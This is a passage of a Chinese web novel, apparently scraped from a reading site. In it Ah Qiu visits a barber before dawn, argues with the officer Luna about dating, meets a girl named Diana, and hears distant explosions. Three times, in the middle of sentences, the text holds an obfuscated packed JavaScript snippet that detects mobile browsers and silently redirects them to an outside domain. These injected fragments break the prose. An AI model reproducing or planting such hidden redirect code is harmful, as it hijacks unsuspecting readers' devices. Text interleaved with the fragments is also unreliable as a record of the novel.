阿邱现在比任何时候都渴望拥有一台成影仪。好像短暂地进入了一场美梦便回到现实,意识到接下来又要自己一个人上路了,她特别特别想…… 购物! 成影仪那种奢侈品她买不起,但还有些提高生活质量的小商品可以哄自己开心,比如说——阿邱摸摸小腹:你到底要不要来啊!不来就明年再来好了,能省不少钱呢。 责怪的声音小一点吧,阿邱的月经已经算是很省心的了,一年最多来两回,状态不好的时候一整年都没一回,就跟从没存在过似的。 必须去趟二手市场了。顺道看看有没有别人用了半瓶就不喜欢了的润肤霜……不是质疑瓦德密尔的空气质量,阿邱只是觉得用光滑的脸蛋笑起来显得比较健康,也好搭配她的小雏菊连帽斗篷。 可是、可是啊,兜里没有一分钱! 阿邱推开文件小冰山,把每只橡皮鸭子都捏过一遍,还嫌不过瘾,便抄起那瓶气泡红酒,两口把它干了;塔桥的记忆也在此时消化到了最后一个画面。 那点火光…… 是的,双押三计划2.0最重要的一环就是追踪苏西。虽然他像白鹇一样来无影去无踪,走路没有声音,一出现在众人面前就是为了觅食,或者与觅食同等重要的事情—— 真不错,追踪的初步成果这不是正在显现吗!但也不能只凭直觉确定结论(撤回感叹号),想想她的终极目标,从现在开始,无论苏西去哪,她都得对他的动向了若指掌。 为了提高结论的准确性,还要试图理解他们活着就干、死了就停的动物的哲学:仅靠感官刺激获得快乐,在梦中体验崇高,醒来了该干什么干什么,蔑视一切永恒——打住,也不能太沉浸了。 此外,她的口袋里还装着个定时炸弹。不,应该说,她把一颗定时炸弹带回了淡猫俱乐部。 理解不了豆子警官搞这种恶作剧的动机,只需和动物一样知道她在偷窃手艺上技不如人就好,阿邱长吁短叹地摸向口袋,准备面对现实时,却只摸到了一本情商修炼手册。 边边角角地探索了好几遍、把两个口袋都翻过来——没错,徽章真的不见了、徽章真的又不见了! 阿邱得到了一个会让徽章消失的口袋!这真是毁灭性地打击了毁灭性的打击——这句话的情绪激烈到感叹号都不够用了! 这时,桌上的飞笺器自动弹出透明屏幕,上面多出了一条波形。 只有收信,还不用面对分辨的难题,阿邱用档案归类术调取它,脑内立即响起豆子的声音: “徽章我先拿走了,研究两天再黄给典狱长,他急着要的话就多走两步,看情况还能讹他一笔。” 啥时候顺走的啊!! 阿邱浑身无力地靠在床边。过了一会撑着起来,打开情商修炼手册,翻到“小兵的脾气都很暴躁”这条规律,把观察对象“豆子警官”划掉,改成了“飞天大盗罗宾汉”。 73. 第五十九章 魔女大波浪 为了躲避漏屋里的连夜雨,阿邱不得不把她的床搬来搬去。 搬到最后她实在累了,顶篷上的破洞还在哭个没完。她放下床,抢救了墙上的平面鸫,卷吧卷吧塞进口袋,回头一看,床上躺了一个人。 虽然全身缠满了绷带,但阿邱知道这个人就是豆子警官。她一个滑铲踹醒他:“喂,不许睡,这是我的床。” 绷带豆子歪在墙角说:“你连一张床都不肯施舍给为你受伤的人吗?” 阿邱威猛地站起来:“嚯,道德绑架是吧?我可不吃这套!” “因为我只有这一张床。”看到豆子碎了,她又换了种祈求的口气,“而且这里经常漏水,太冷了,你起来,我去给你找更好的床——全世界最好的床!” 豆子拒绝:“不要,我不怕冷。还有我不信你,你前脚刚骗我起来,一转身就把我和我的影子一盆泼出去了。” “我不会的!” “你有什么不会的,你这个梦游的怪物。” “你说什么?敢不敢再说一遍!” 阿邱再次听到自己头发疯长的声音。她叉着腰,气冲霄汉地宣布:“噢哟终于发现我是怪物啦?实话告诉你吧,失去什么我都不怕,等着瞧,总有一天我会把你们所有人都救出去的!” 这话说完,梦境就像被弹弓射中的窗玻璃一样一片片地掉下来,这代表血液大军从脑袋里撤走了。 阿邱不确定“你们所有人”有没有听清楚,捧着残血的脑袋昏昏沉沉坐起来,很奇妙,那种灵魂升到半空中的感觉又回来了。 原因多半是那瓶气泡红酒。没有知觉的一个好处是不知道醉:既不知道什么时候到达了醉的阈值,也体会不到喝醉的坏处,只会享受到飘飘然的感觉。酒可真是个好东西啊,完美符合了阿邱对一个沉默朋友的需求——还只用她付出金钱或劳动! 相比较而言,烟可不是什么好东西,吸烟对人只有害处,请苏西多吸。 上回嘛,牧笛舍不得的窖藏她喝了一口就灵魂出窍了,这回却需要一整瓶的量,究竟是酒劲与酒劲间的差距过大,还是因为她的酒量进步了?没有定论!很好很好,喝酒这事本身就很值得探索了。 唯一的遗憾是尝不到酒的味道……也是好事啊,要是味道不好、阿邱不喜欢,她就又得重新寻找把灵魂抽出身体来晾晒的方法了。 阿邱的身体起床穿衣。看看外面的天色,她这种感受应该还不算宿醉,因为“一宿”还没过去。 昨天早上开了个好头,现在她学会了旁若无人地拉开卷帘门、离开淡猫俱乐部,像牵着氢气球一样牵着她飘在头上的灵魂,一个人走到了街上。 出了门才想好目的地:要在天亮面对库奇注定会很典型的辱骂之前积攒精神和能量,方法是到处吸点人气。 精神本来不容易亏空,却在顶着一头杂草落荒而逃时消耗殆尽了。也好,就让新的一天从精修她被粗修过的杂草开始吧。 在夜之窟来来回回走了两趟也没找到剪头man的摊位——只为可自由支配时间集中在太阳没睁眼时的人提供的服务,原来也是剪头业界的机动项目啊! 那就别怪阿邱直捣老巢了。她甚至庆幸自己可以跑远些,先绕一个大圈子吸饱了能量,再回来参演必有文件之耳光甩在脸上的经典开除片段…… 躲在站牌后面等了一会,今天的第一班车来了。 说是第一班车,其实有轨矿力车很难划分每一班的序号,正如每个人开启新一天的时间都不定。阿邱看过镇民手册,902的司机是三班制,分为7:00-12:30、13:00-18:30和夜班全程,一直到第二天5:30才停运。夜班的工资是前两者的三倍。 这也很符合现实逻辑,能开完夜班的司机师傅哪个不是狠人,停在阿邱面前时,踩刹车的力度都比白班司机狠一些。 狠人也狠在超常的记忆力,上车时,司机要求阿邱帮他叫醒唯一的乘客,那人通常会在这一站下车,可别一觉睡过站了。 阿邱手动拧亮顶上的车灯,把那人的帽子掀开一看——这不鹅笑绅士嘛! “大哥、大哥,快醒醒,夜之窟到了!” 推了好几下,鹅笑绅士挥舞着四肢醒过来,迷迷瞪瞪地搓搓鼻子:“哪里来的酒蒙子……” “你到站了,快下车吧。” 鹅笑绅士探身看看窗外,扶了扶帽子,仿若失忆:“夜之窟?我大半夜的来这干嘛?” “这就要问你自己了……” “啊,对的,我是要去办——”鹅笑绅士瞥着前面的司机,放低了音量:“□□的。夜之窟南边有个补鞋的皮匠,全镇只有他那里才有这项业务。” 阿邱大吃一惊:“怎么都225年了还有顶风作案的?如果是通过考试取得的资格证明,上面不都改革过好多次了,现在无论是证件的皮套还是内里的纸张和印章都有很严格的水印系统,外面哪来的技术破解?你别是被骗了吧?” 鹅笑绅士摇摇手指:“技术的跟进不仅在于破解,只要能通过验证,什么法子不能使?” “这样哦,那祝你好运……哎不对,你说的是南边那个伞鞋匠?我刚刚过去逛了一圈,他还没开门呢。” “人家当然不能大开着门做这种生意啦,你可能来得晚,不懂道上的规矩,只有等夜深人静的时候在门外和他对上暗号,咱们这个生意才做得成。”鹅笑绅士做了个抹脖子的手势,“要是被长官发现了,那可不是开玩笑的!” 他用风衣挡脸、欲盖弥彰地下了车。阿邱坐下,司机问她:“这么晚了,你是要去医院?” “不,我差不多要坐到终点站……” 车开了。剪头man只会剪蘑菇头,这不也是歪打正着么,反正阿邱对引起人的色欲无能为力,做个蘑菇才清净;如此一来,挡剑也好,坐在她现在的位置上突然抱过来也好,都是受该死的绅士风度驱使…… 干嘛一个人想东想西?她是来吸人气的。于是和司机攀谈了起来,虽然对方不太情愿,下车之前,阿邱打听到他第二个孩子明年就要上启蒙学校了,但有时候还想吃他妈妈的奶。 ——并得出结论:顶着这么大的育儿烦恼还起早贪黑地开班车,阿邱的这点小不快算得了什么?快从心里赶出去吧! 炉心池站。 查看站台地图,阿邱才知道“窄街”代表的是一个庞大的系统,夜莺巷七拐八弯地在它的西北角,需要走过足足十三个路口才能抵达。 好在每个路口都有清晰的指示,这点可比夜之窟亲切多啦——不过这地方大归大,建筑风格却和夜之窟差不太多,有的角落甚至都容不下太阳的一瞥,只能靠烟火气去填补了。 是了,和夜之窟最大的不同之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253284|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处是,这里的烟火气竟不会随着太阳视线的转移而消失。阿邱在形状各异的背阴处穿行,和卖早点的、扫大街的、修锅的、刷驴的、当街洗澡——当街洗澡?!——的老头老太太们一一打过招呼,精气神很快恢复到了正常水平。 就这样蹦蹦跳跳地走到了剪头man的店面前——根本不可能认错,因为剪头man三个大字就写在招牌上,灯管至少有一半是亮的。 阿邱上去敲敲门,黝黑的小哥嘴里插着把牙刷,从卷帘门底下钻出来。 “欢迎光临,洗头还是剪头?两个人半价哦!” 进了店,阿邱被他安置在一面稍显凹凸不平、但干干净净的全身镜前。 “我不办卡!”她抢着说,嘴巴被镜子的起伏撑得老大,“然后你就自己发挥吧。” 阿邱本以为五分钟后她会得到又一颗整齐的蘑菇头,谁知剪头man窝在他的总监椅里翻了一会杂志,走向她时,手里的剪刀竖了起来。 什么意思,实体店和流动摊位的服务还不一样? “小姐,你发现没有,你的头发并不是全直,只要突破了长度限制,就会展现出自来卷的潜质。” 阿邱顿时有种不祥的预感:“那那那不如把潜质按死在摇篮里吧?” “哎,那怎么行?我们发型设计师不是一个尽情发挥创意的职业,而是替客户把自身优势最大化的职业来的哦——” 阿邱怀疑地看向镜中没有变化、所以现实中一定有异常的那张小黑脸:“不必了,你叫原来那个不会算数的剪头man出来。” “不会算数的剪头man?不好意思,本店从设计师到老板到财务,都只有我一个人哦。” 那可坏了,阿邱完全有理由怀疑墙上的营业执照都是假的! 剪头man一手按她发旋、一手托她下巴,转着她的脑袋研究了片刻,下定决心:“来吧,让我剪头man妙手回春,把你这个新买的扫把变成当前最时兴的魔女大波浪!” 苏西听到没,这就是新买的扫把!不,现在不是说这个的时候。 “你还是别发挥了,给我剪成蘑菇头就行……” “咩啊,蘑菇头有什么好的,难道你还要配副眼镜?也太呆了。就听我的嘛,大波浪才适合你,做完了漂漂亮亮地出去,也是向外界宣传我剪头man的手艺!” “可是我不想变漂亮——咦?” 正在两个人拉扯时,如此不常规的时间段,今天的第二位客人走了进来。 露娜腋下夹着报纸,冲阿邱挑眉:“是你?早啊。” 她把狐疑丢给了剪头man:“名声都打到夜之窟去了?你手艺也就那样啊。” 这是可以当面说的吗! 剪头man大概跟她是老熟人了,闻言调皮地用剪刀敲敲自己的太阳穴:“物美价廉这块是不会输的!” 眼看着露娜坐到沙发上、翘个二郎腿摊开了报纸,阿邱就搞不明白了——家里有玫瑰园的大小姐,不仅住在这种鱼龙混杂的贫民窟,约会之前还要找这个要手艺有数学成绩的剪头man来剪头? 也对,一个日理万机的戍卫队队员,要不是为了约会,怎会在凌晨跑出来剪头呢…… 由于灵魂飘得太高,阿邱的身体没有问过它的意见,抿抿嘴,转过身去面对镜子,小声吩咐剪头man:“你发挥吧。” 74. 第六十章 魔女反光镜 沙发比理发椅矮,又在远处,恰好占据了阿邱视角下最平整的那块镜子。 相对而言反射率也最高。没过几秒,阿邱未经折损的目光穿透了薄薄一层报纸,引起了露娜的注意。 “看我干嘛?有什么话直说。” 剪头man去后面调软化头发的药剂了,店里只剩她们两个。突然在镜中跟露娜对上了视线,再想假装正在破解大标题的反字也来不及了,阿邱鼓起芝麻粒那么大的胆子,问她:“露娜露娜,你今天答应跟罗宾警官约会了吗?” 露娜反问:“你为了晕倒得更美特地置办了一顶假发吗?” “假假、假发?” ——这是怎么联系在一起的? 不,这才是正常人该有的联想。仔细品一品,这算不算是有人在为增长速度异常的杂草问她“为什么”?只是露娜问完就自己回答了,可能是她工作特殊,比较能适应快刀斩乱麻、速战速决、自给自足的因果吧。 同时从这句话也不难听出,阿邱被迫参与的那场垃圾约会给露娜留下了不小的阴影……所以她顶着一头乱麻问:“露娜,你生气了吗?” “没有。”露娜把视线收回到报纸上。多半觉得答得太快反倒有鬼,又淡漠地找补了一句:“我决定跟他搭讪本来也是因为他救了你。” 阿邱也试着把自己套入疾风般的因果中,以跟上露娜的步伐:“这是什么逻辑?为了我,奖励他?” 露娜从报纸顶端飞来一瞥:“是为了道义。” 阿邱没听进去:“我被救了,那不该是我去跟他搭讪嘛?” 她也找补:“就算是为了道义,我也受到了惊吓啊,你怎么不先来跟我搭讪?” 露娜放下报纸,换了一边二郎腿,透过镜子盯着阿邱不动了。 阿邱被她看得心里发毛,结巴着说:“是——是吧?不是我想拆穿你,实在是你破绽太大……” “邱姗。”即便看不到台本,阿邱也觉得她说的肯定是女字旁的“姗”,于是心里越来越不痛快,“你不用铺垫这么多,有话不敢直说,那就休怪别人捷足先登咯。” 哇,她还得意了?可惜的是,再不痛快阿邱也处于道德的下风口,她只能硬着头皮狡辩:“露娜·劳伦斯!你休想对我下定论,如果你觉得我有那种意思,那你放心,绝对是你听错了!我已经找到喜欢的人了,这辈子非他莫娶——” “哦。”露娜兴致缺缺地翻了一页报纸,表示她不想再继续这个话题。 阿邱却是为了另外的原因止住话头——稍等,鸫的存在可不能被露娜知道!否则超强执行力如她,“鸫”字的一横刚写完,就被走着之字形远道而来的露娜龙卷风卷出去约会了,那还了得? 但一码归一码,阿邱还是觉得自己应该为失败的约会道歉。不过,以当时那个复杂的情况,仅靠“有话直说”还不够,那就别把道歉说出口了,她要换一种形式让露娜明白这里头的问题出在哪。 “你一定很好奇——”阿邱清清嗓子,“为什么罗宾警官对我更和善,至少看起来是这样,对吧?我来告诉你真相吧:其实这里根本涉及不到男女之情,只不过是因为现在的我,对他的队长更有用!” 露娜眼皮也不抬地说:“对你更和善吗?我怎么看不出来?” 阿邱没有整个否定豆子的恶劣态度,这个结论是相较于小剧场强吻后被推开而言的……算起来,她昨天已经替露娜报过仇了,但这件事不能说出口,否则不就是炫耀了吗。 阿邱舔着上颚,在嘴里倒腾了好几种话术,从结果来看,最终选择了最不适合的那一种:“那个……我觉得,罗宾警官——对自己的认知——可能——大概——不是传统意义上的阳刚男性。” 露娜仍然平稳接球:“传统意义上的阳刚男性现在哪能找到?” 阿邱一咬牙:“哎呀,我就直说吧,他可能根本就不喜欢女生!证据一,他待人冷漠,一旦有人背后说他队长坏话,他就要暴起杀人!证据二,他一撅就折,可是一旦有人当面说他队长坏话,他就是受伤了也要暴起杀人!证据三,队长一离开,他就疯了,哪怕一路淌着血从镇南走到镇北,也要尽快完成队长临走前的嘱托……” “哦,关我屁事。” “证据四——哎?你说什么?” “我没兴趣探究人的内心世界。” “这可不是普通的内心世界啊!你约到跟你取向一样的人就不会觉得膈应吗?” “各取所需罢了。我只负责发出邀约,选择拒绝、膈应着答应还是心甘情愿给我当狗,那都是对方该考虑的事。” 阿邱哑口无言。 露娜是这么想的吗?那还真是、那还真是—— 太厉害啦! 她还是头一回听到这样的见解,其颠覆性简直要击穿她对这个世界的认知!也害得三部创造系列、“鹳的报恩”门票在内心深处感到一股撕扯的力道…… 心中的碎纸哗啦啦地往下掉,露娜却平静如常,又翻了一页报纸:“我差不多一周之后就会腻,你先排队吧,到点了你再上,不然你也看到——也听到了,洛夫克拉夫特情商很低,处理不来人多的场面。” “我排队?!”阿邱就跟坐到一根针似地弹跳一下,“跟我有什么关系……” “你在这变着法地劝我,不就是想表达一种意思么:‘露娜·劳伦斯,不要跟我抢男人,很高兴你们的第一次约会被毁掉了,我晕得可真是时候呀!’” 什么原来是第一次约会吗?嗨呀。阿邱登时有种全家的蟑螂都消失了的畅快感,随后才是心虚:“有吗?是你理解错了。” “不,是你对自己的想法理解错了,而且我也没给你体面说出来的机会。” 不要一副看穿一切的样子好吗?阿邱有点恼了:“我真的没有!都说了我有喜欢的人了……” 沉默用四个脚从墙上游走到天花板上。剪头man的手艺也太烂了吧,调个药剂都要这么久…… 出于道义,有个问题阿邱必须问出口,她向女神发誓,绝不掺杂任何私人感情:“居然只有一周?罗宾警官这么不值钱的啊……” “不是针对他。”露娜打着哈欠回答,“我对所有人都一样。” “是吗?你那是还没找到真心喜欢的人……”怪不得约会也如此随意,原来根本就没走心啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260090|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>露娜眉头扬起,像是想到了什么:“上回你问我有没有男朋友,现在我可以告诉你答案了。” 咦,什么时候问的? “我不想要。因为他们个个都短视,只配得上短期的关系;趁新鲜感还在就互相汲取精神能量,新鲜感没了就好聚好散,这才是最舒适的节奏。” 这——显然不是健康的关系吧? “以及你有句话说对了,这帮人动不动就暴起杀人,说明他们没有消化复杂议题的脑子,跟这样的人认真就是自找苦吃。” 那么只做朋友会不会好过不认真地“接触”呢? 理智这么想,感性上,阿邱也有点认可她的话……想她活了20年,有个毛病一直没改掉:每换一个新环境,就要暗恋最出挑的那个帅哥一段时间,不久后因为各种原因下头,然后马上换下一个目标。 ——当然这只是她和露娜的体验,非常地个人,不能当成普遍规律总结。再说也不能排除别的因素啊,比如距离产生美,距离拉近产生恨? …… 这个话题暂且放一放。真正震撼了阿邱的是,露娜也分裂成了两个人!工作时正经到让人害怕,对待感情居然是如此地玩世不恭——可理性分析起来,或许这么做才能在强压下保持身体和灵魂的平衡,比起质疑已成型的厉害人物,阿邱应该向她学习,等她有了森林戍卫队这般的好工作,她也要玩世不恭起来! 阿邱转着眼珠反刍露娜的话,露娜也在反向观察她,迟疑着说:“况且我还知道,知行不一的人会活得比常人累好几倍。” 点她呢。但这话说得有点何不食肉糜了,毕竟不是每个人都有机会说真话的。 “——导致你总是鬼鬼祟祟的。” 阿邱刚按下去的火气又起来了:“谁鬼鬼祟祟了,我可是一直都光明正大的!” 她终于回过头直视露娜,这样推卸责任比较有底气:“这能怪我吗?我不是只有在男人的问题上才能跟你搭上两句话吗!你们瓦德密尔人真奇怪,男女关系大过天,我一聊别的你们就萎靡,一群恋爱脑!” 露娜翻着白眼说:“是是是,我们恋爱脑。” “你还不服!我这个大活人都在你面前晕倒了诶,你一点也不关心我的身体恢没恢复吗?” “……哦。你的身体恢复了吗?” “恢复了,谢谢关心!”阿邱大声道了谢,气鼓鼓地转回身子。 露娜的语气带了真情实感的迷惑:“你在跟我撒娇?” “是啊,有意见吗?还有我头发是真的,想不到吧!” “请问——” “有也憋着,用你的脑子好好想一想,可不能向短视的男人学习哦。” “唔,男人确实短视,这话我很认同。但这里不是连锁三明治店吗?” 露娜和阿邱一起转头看向门外。 那里站着一个笑嘻嘻的少女:头发上别着几个卷发器、睡衣外披一件学生制服外套、学生制服上斜斜垮了个精致的皮包,穿得松松垮垮,容貌却相当出挑,见之令人忘俗;最引人注目的便是那双眼,虽然阿邱分辨不出颜色,但那样的澄澈使她联想起了最明亮的红宝石。 75. 第六十一章 “你走错了。”露娜驾轻就熟地找到了缘由,“这里是夜莺巷,你说的那家店在东南角的野鹰巷。” 窄街的路况很复杂,看样子她经常在这块捡到迷路的小孩。 那少女眨眨眼,忘了三明治,耳朵带动身体,坐到沙发上挤着露娜:“你说你们这儿两步一路口、平均每个路口都有四块指示牌,谁有那个闲功夫细看呐?” 那也不能乱走一气呀!阿邱也是在夜色中紧张地看了三十个以上的指示牌才抵达这里的,走完这一趟,感觉视力都下降了一点。 露娜看也不看她:“指示牌字小,招牌这么大,你眼瞎了看不到?” 阿邱听得心头一跳——她对40岁以下的陌生女性都是这么不客气的吗? 不过反过来一想,刚见面时她俩也是陌生人来着,露娜还不是这样恶声恶气的,原来“没有针对、对所有人都一样”是真的啊,算她知行合一,阿邱一下子释怀了。 剪头man总算调好药剂出来,有三个女孩在店里,他还特地换上了展示肌肉线条的白背心——对比很鲜明,但是不冷吗? 黏糊糊的膏状药剂敷到头上,好像把阿邱的嗓子眼也糊住了。她很想跟沙发上的两个人聊天,又怕新来的姑娘被露娜的态度吓退,由于跟露娜不熟,还不能出言制止她,心里这个着急呀。 可少女好像完全不在意似的,一本正经地向露娜辩解:“那是因为,我以为剪头man剪的是团购价的零头!” 阿邱又偷瞄镜中忙前忙后的理发师——这场眼力见大赛,露娜竟还不是最后一名?! “哪有这种好事,他会四入五更入。”露娜就在剪头man的背后大声说他坏话。那好吧,最后一名仍然是她。 少女起身:“行吧,我走了,要是再走错,我就搞几颗炸弹,把这鬼地方的路口全部统一起来!” 炸、炸弹?听到没有露娜,快去给人家带带路呀! 阿邱想阻拦她,但她被剪头man按在椅子上动弹不得,只能出张嘴:“你等等!” 少女这一走,就不知道下次见到此等美人是什么时候了——阿邱曾在海伦身上有过相似的体验,但海伦嘛……总觉得这人看不真切,每个不善思考的人跟她之间都有鸿沟,不像这位少女,身上带着一种与生俱来的亲切。 所以少女背着手看向她时,阿邱怯怯地说:“这位小姐,你真的好漂亮!” 少女粲然一笑:“谢谢,你也漂亮,如果你是男生,我现在就要约你出去了。” 阿邱有些不快。加了一个人,话题怎么又兜回原点了? 可是,被宝石般的眼睛打量着,她又觉得对方不像是在敷衍客套。 “我说真的。”少女跳上她身旁的理发椅坐好:“你就像个较真的傻瓜——不是贬义,只是在描述你全身散发的这种气质——看起来就很好欺负,但又舍不得跟你大声讲话。不光是舍不得,也怕你脸红脖子粗地逼着我承认你对嘛。” 这算是夸奖吗…… 露娜点头认可:“她就是这样的。” 那必然不是夸奖了。 少女又转身征求她的意见:“性转一下就很色啊,你不觉得吗?” 阿邱想象了一下和男版的自己约会的场景——呃,她可能会每天陪着他散步、说一些良心话开导他,仅此而已,睡觉的不要。 “是吧,有那种sense!至于你嘛……”少女托起下巴端详露娜,“是她的反义词。一个喜欢拿人当狗,一个一不小心就当了别人的狗。” 她忽然一拍手:“哎呀,你俩不会刚好是一对吧?大清早的因为床死吵架了,就下楼来找第三方调解?” 剪头man不知所谓地龇牙一乐:“调解?那也是我很拿手的哦!” 露娜翻到最后一张报纸:“听起来你有过这种经验?” 只有阿邱焦急地道出了真相:“不是你想的那样!” 自己脑补出来的八卦引得少女心血来潮,她决定:“来都来了,小哥你一会帮我做个白灰质弱化毛鳞片穿插外加毛囊阈值清零护理!” 什么什么,说慢点,别说是阿邱了,剪头man都不一定听得懂! “我在梦里听到了奇怪的事情。”在等待期间,如愿以偿地,少女主动跟阿邱搭话了,“叫什么‘数到三的预言’,跟闹着玩儿似的,数到三了又怎样,定时炸弹会爆炸?” 阿邱说:“梦里的事怎么能当真呢。” “因为那个场景太真实了,简直像在我脑袋里开大会,与会人员你猜是谁——”少女可能有点语不惊人死不休的毛病,极力渲染着,“是咱们洱鸾大陆的七位祭司哦!西城的密涅瓦、南城的北条蜃景、游医队的葛朴——甚至那个不爱出门的北城祭司也在!” “不奇怪,我也经常梦到跟恩格玛祭司一桌吃饭。”露娜淡淡道。 少女的眼珠子转了转,又说:“听说你们镇上有个很有名的调律师把工作室开在这附近?叫什么来着?好像是加百列对吧?” 露娜尽地主之谊地回话:“对,就在一站内。” “名字取那么大,我总觉得哪里不太对!” “不会的,他不管哪里都很对得起自己的名字。”阿邱说,“最近正在办义诊,为镇上的极寒地狱受害者遗属筹集款项。” “烦死了!”猝然间,少女拍着大腿恼怒起来:“死蚌情侣是吧?好好好,我闭嘴。” 这是怎么了?阿邱被她说变就变的脸色吓了一大跳。 少女嘀嘀咕咕地从挎包里掏出一本低俗杂志……一大早就看这?还是特地拿出来看的!不得了,美人形象出现裂痕了。 她烦躁地翻了两页,又道:“也对,本世纪可是由阿瑞斯杯领跑的白羊时代呀,所谓‘人杰地灵’,你们窄街的一面墙倒了,都能压死十个足以改变世界的伟人。” 不知怎地,露娜对这少女的怪话句句有回应:“有什么说法吗?” “没说法啊。”这回却是少女趋向保守,“神婆建议普通老百姓什么也别做,除了游戏人间——就连幸福也不要去追逐,因为得到了也会很快被自己遗弃。” 我才不听。阿邱心想。 “是这个道理。”露娜赞许。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263944|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哎?! 少女重又笑起来:“哦,原来你的sense在这里。重新介绍一下,我叫狄安娜,很高兴认识你们。” 露娜道:“黛安娜吗,我记住了。” 阿邱则老实巴交地冲她笑笑:“你好,狄安娜……” 狄安娜眼睛一亮——红宝石的光源竟在它本身的内里——跳下椅子,朝阿邱伸出手:“很好,你这个朋友我交了!” 阿邱不敢相信:这是真的吗?她什么都没干就天降了一个新朋友,还长得这么好看! “你好你好,幸会幸会……”她在裙子上擦擦手,腼腆地握了握狄安娜的指尖:“我叫邱珊,今年二十岁,是一所报刊亭的卖报员……” ——前提是这份工作还保得住。 “‘姗’?很适合你哎,慢吞吞的一个字。” 阿邱觉得名字被错当成女字旁的“姗”也没那么讨厌了。 等待药剂发挥作用时,剪头man带狄安娜去洗头。阿邱顶着满头锡纸,转身问露娜:“那个……你觉不觉得双尸案还有不明确的地方?” 没错,逮到大忙人露娜是件多不容易的事啊,这个问题才应该是今天的重点,都怪豆子警官跳出来扰乱了节奏,还制造出一场没必要的争吵——希望露娜在狄安娜的插曲过后忘了刚才发生过什么,阿邱如此祈祷。 对待她,露娜就敷衍多了:“我不知道,那个案子是迦南小队长负责的。” “其实我打听到……”阿邱舔舔发干的嘴唇:“中年的死者一直扬言要处死那个年轻的,年轻的也是为了反抗才——” “哦?在哪打听到的?” “就是……我也有自己的信息渠道嘛!你说,双尸案会不会是双凶作案?佐伊·约翰逊有没有可能不是真正的凶手?” “侦探小说看多了吧。” 侦探舞剧也没少看其实。 “这和你有什么关系呢?” 反复强调跟她无关,那肯定是有事瞒着她,以及跟她身处相同位置的普通公民。 反正阿邱现在是个还没变异的扫把,尚有无数条分支,露娜不像迦南,又没那么多弯弯绕,于是她把最粗的那根挑出来,用亮出虚拟徽章的气势向“同僚”施压:“我现在是终止式的机动人员,我是不是也有知情权?” 施压完了还要展示诚意:“而且我行动方便,可以帮你到处打探。” 露娜对这个新消息好像毫不意外:“是吗,那你帮我带句话:你和你的小领导做好本职工作就够了,不该打听的别瞎打听。” 嗨呀,都是同级,她还跟这儿打官腔?阿邱揉着肚子给自己消消气,换了一条状似下最后通牒的分支:“我们终止式跟你们森林戍卫队不一样,各种制度决定了我们跟民众走得更近,并且信奉的是杀人偿命这种直给的逻辑……” 是吗? 话已说出口,可事实上,阿邱还什么都没想好——难道她真要把苏西送进监狱吗? 另一方面,她又冷漠地分析着:送进去又如何?杀人偿命又如何?她就正在偿,体验不算太差,还没到绝望至死的地步。 76. 第六十一章 露娜色相不明的双眼似是也有内光源,当即看穿了阿邱的犹豫:“你先把那点个人私事理清楚了再上升到公务高度吧。” “谁说是个人私事啦?你那是不知道……哎哎,怎么走了!” “被人插队了还想让我等?美得他。”这句是在批评剪头man。 阿邱顶着一头锡纸追出来:“那你先回答我——” 轰隆隆。 “我刚才好像幻听了。”阿邱甩甩头,扯住露娜的袖子——被瞪了,改抓她腋下的报纸:“听说你们驻旧矿山镇部队派系林——我是说,各个分组情报并不互通,听说上回在审问袭击者时引入终止式的决定就遭到了迦南小队长的反对,可见他既不在乎效率也没什么远见,你可不一样,虽是新兵,但比他更有守护世界安宁的意识,把这种奇案全权交给那个家伙负责,露娜,你真的甘心吗?” 露娜居高临下地睨着她:“说到情报,我也有问题想问你——你编些前后矛盾的瞎话哄骗迦南,就不怕他带人去砸了你的俱乐部?” 阿邱心里一咯噔:说好的派系林立、互相欺瞒倾轧、一睁眼就在抢夺案件调查权呢——那个迦南,表面跟她约定好了秘信,背地里居然就这么把她给卖了!? 露娜很满意她制造出来的心灵地震,抽出报纸,弯着嘴角不客气地说:“做好了破釜沉舟的准备就别怕把话说开,否则你以为的试探不过是在把主动权让渡给敌人。” 阿邱为她的态度羞恼交织,却也必须承认这句话凝练了很重要的道理,故决定用最重的笔迹记在情商修炼手册上,署名“铁塔魔女露娜希”。 轰隆隆! ——突如其来的又是一声闷响。 这回它余韵绵长,露娜也注意到了:“你最近肠胃不好?” “你才肠胃不好!” 阿邱哇哇叫着蹦起来,被露娜一巴掌按下去:“嘘,你仔细听。” 闷响连绵不绝,有逐渐放大的征兆,非但如此,阿邱还感觉到了脚下的震动。 “不会吧,狄安娜真在路口埋炸弹了?” “有可能。”露娜把那份报纸塞进一旁的垃圾箱,“走了,别跟过来。” 就跟!阿邱追着她跑了两步,大起胆子揪住她的腰带:“是不是炉心池出问题了?” 